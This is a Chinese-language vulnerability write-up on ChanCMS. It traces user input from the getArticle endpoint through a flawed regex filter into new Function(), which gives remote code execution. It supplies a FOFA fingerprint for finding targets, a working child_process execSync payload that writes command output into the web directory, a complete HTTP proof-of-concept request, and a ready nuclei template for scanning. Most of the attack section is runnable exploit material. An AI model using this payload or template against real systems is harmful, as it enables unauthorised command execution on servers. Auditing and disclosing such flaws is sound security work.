image-20251024144421469

fofa指纹

1
header="Chancms"

审计

app\modules\cms\controller\collect.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
import dayjs from "dayjs";
import * as cheerio from "cheerio";
import {safeExecuteUserFunction,isValidTargetUrl} from "../../../middleware/guard.js";
const {
helper: {
api: { success },
},
} = Chan;

import collect from "../service/collect.js";

let CollectController = {

async getPages(req, res, next) {
try {
let arr = [];
const { targetUrl, listTag, charset } = req.body;
if (!isValidTargetUrl(targetUrl)) {
return "不允许访问的目标地址";
}
const data = await collect.common(targetUrl, charset);
const $ = cheerio.load(data.toString(), { decodeEntities: false });
$(`${listTag}`).each(function () {
arr.push($(this).attr("href"));
});
res.json({ ...success, data: arr });
} catch (error) {
next(error);
}
},

//测试列表所有地址
async getArticle(req, res, next) {
try {
const { taskUrl, titleTag, articleTag, parseData, charset } = req.body;
const dataStr = await collect.common(taskUrl, charset);
const $ = cheerio.load(dataStr.toString(), { decodeEntities: false });
const title = $(`${titleTag}`).text().trim();
let str = safeExecuteUserFunction(parseData)

let run = new Function(`data`, str);

let data = $(`${articleTag}`).html();
let dataend = run(data);
res.json({ ...success, data: { title: title, article: dataend } });
} catch (error) {
next(error);
}
},

// 增
async create(req, res, next) {
try {
const body = req.body;
const data = await collect.create(body);
res.json({ ...success, data: data });
} catch (err) {
next(err);
}
},

// 删除
async delete(req, res, next) {
try {
const { id } = req.query;
const data = await collect.delete(id);
res.json({ ...success, data: data });
} catch (err) {
next(err);
}
},

// 改
async update(req, res, next) {
try {
const body = req.body;
const data = await collect.update(body);
res.json({ ...success, data: data });
} catch (err) {
next(err);
}
},

// 查
async detail(req, res, next) {
try {
const { id } = req.query;
const data = await collect.detail(id);
res.json({ ...success, data: data });
} catch (err) {
next(err);
}
},

// 搜索
async search(req, res, next) {
try {
const { cur, keyword, pageSize = 10 } = req.query;
const data = await collect.search(keyword, cur, pageSize);
data.list.forEach((ele) => {
ele.createdAt = dayjs(ele.createdAt).format("YYYY-MM-DD HH:mm");
});
res.json({ ...success, data: data });
} catch (err) {
next(err);
}
},

// 列表
async list(req, res, next) {
try {
const { cur, pageSize = 10 } = req.query;
let data = await collect.list(cur, pageSize);
data.list.forEach((ele) => {
ele.updatedAt = dayjs(ele.updatedAt).format("YYYY-MM-DD HH:mm");
});
res.json({ ...success, data: data });
} catch (err) {
next(err);
}
}
}

export default CollectController;

sink点在这里

1
let run = new Function(`data`, str);

这里直接把str来自用户输入的js代码作为了函数体,data作为参数,使用Function构造函数来动态创建了函数

接下来我们正向跟进一下流程

我们关注这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//测试列表所有地址
async getArticle(req, res, next) {
try {
const { taskUrl, titleTag, articleTag, parseData, charset } = req.body;
const dataStr = await collect.common(taskUrl, charset);
const $ = cheerio.load(dataStr.toString(), { decodeEntities: false });
const title = $(`${titleTag}`).text().trim();
let str = safeExecuteUserFunction(parseData)

let run = new Function(`data`, str);

let data = $(`${articleTag}`).html();
let dataend = run(data);
res.json({ ...success, data: { title: title, article: dataend } });
} catch (error) {
next(error);
}
},

接受请求体这几个参数输入: taskUrl, titleTag, articleTag, parseData, charset

然后把parseData参数传入safeExecuteUserFunction进行一些过滤

我们先看看safeExecuteUserFunction的过滤逻辑

搜索发现来自这里

image-20251024135420429

app\middleware\guard.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
export const safeExecuteUserFunction = (userCode)=>{
// 1. 移除 require 和 process 调用
let sanitizedCode = userCode
.replace(/\brequire\s*$$/gi, '') // 移除 require(...)
.replace(/\bprocess\./gi, '') // 移除 process.xxx
.replace(/\bchild_process\.exec/gi, ''); // 移除 child_process.exec

// 2. 移除 import 语句(包括:import xxx from '...' 和 import '...')
sanitizedCode = sanitizedCode.replace(/^\s*import\s+[\s\S]*?from\s*[\s\S]*?;?$/gm, '');

// 3. 移除动态 import(...) 表达式(例如:import('malicious.js'))
sanitizedCode = sanitizedCode.replace(/import\s*$$[^)]+$$/g, '');

// 4. 检测并移除 Base64 字符串:连续字母数字 + base64 特殊字符(+/=)
sanitizedCode = sanitizedCode.replace(/(['"])(?:[A-Za-z0-9+\/=]{12,})\1/gi, (match) => {
console.warn("发现疑似 Base64 编码内容,已移除:", match);
return '';
});

// 5. 移除 Buffer.from('...', 'base64')
sanitizedCode = sanitizedCode.replace(/Buffer\.from\s*$$[^,]+,\s*['"]base64['"]$$/gi, '');

// 6. 移除 atob 解码函数调用
sanitizedCode = sanitizedCode.replace(/atob\s*$$[^)]+$$/gi, '');

return sanitizedCode;
}

发现仅仅是使用了正则表达式替换了一些危险关键字

那么其实可绕过的空间很大

他使用/import\s*$$[^)]+$$/g过滤import动态导入,但是由于在JavaScript正则表达式中,圆括号 () 是特殊字符,需要转义才能匹配字面量的圆括号。

于是这里对import的过滤无效,正确的写法是.replace(/import\s*\([^)]+\)/g, '')

我们直接构造payload

1
2
"return (async () => { const { execSync } = await import('child_process');
return execSync('whoami').toString(); })()"

但是这样看不到回显,要么使用dnslog探测,或者直接把命令执行结果写回到web目录下的文件

查看项目结构找到web目录为:app/public

image-20251024140834930

于是payload是

1
2
"return (async () => { const { execSync } = await import('child_process');
return execSync('whoami>app/public/redme.txt').toString(); })()"

最终构造poc如下

1
2
3
4
5
6
7
8
9
10
11
POST /cms/collect/getArticle HTTP/1.1
Content-Type: application/json
Content-Length: 286

{
"taskUrl": "http://localhost:3000/favicon.ico",
"titleTag": "title",
"articleTag": "body",
"parseData": "return (async () => { const { execSync } = await import('child_process');
return execSync('whoami>app/public/redme.txt').toString(); })()"
}

nuclie-poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
id: chancms-rce-front
info:
name: chancms-前台rce
author: X1ly?S
severity: critical
http:
- method: POST
path:
- '{{BaseURL}}/cms/collect/getArticle'
headers:
Content-Type: application/json
body: |-
{
"taskUrl": "http://localhost:3000/favicon.ico",
"titleTag": "title",
"articleTag": "body",
"parseData": "return (async () => { const { execSync } = await import('child_process'); return execSync('echo 123456>app/public/redme.txt').toString(); })()"
}
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- success

matchers-condition: and
- method: GET
path:
- '{{BaseURL}}/public/redme.txt'
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- '123456'

matchers-condition: and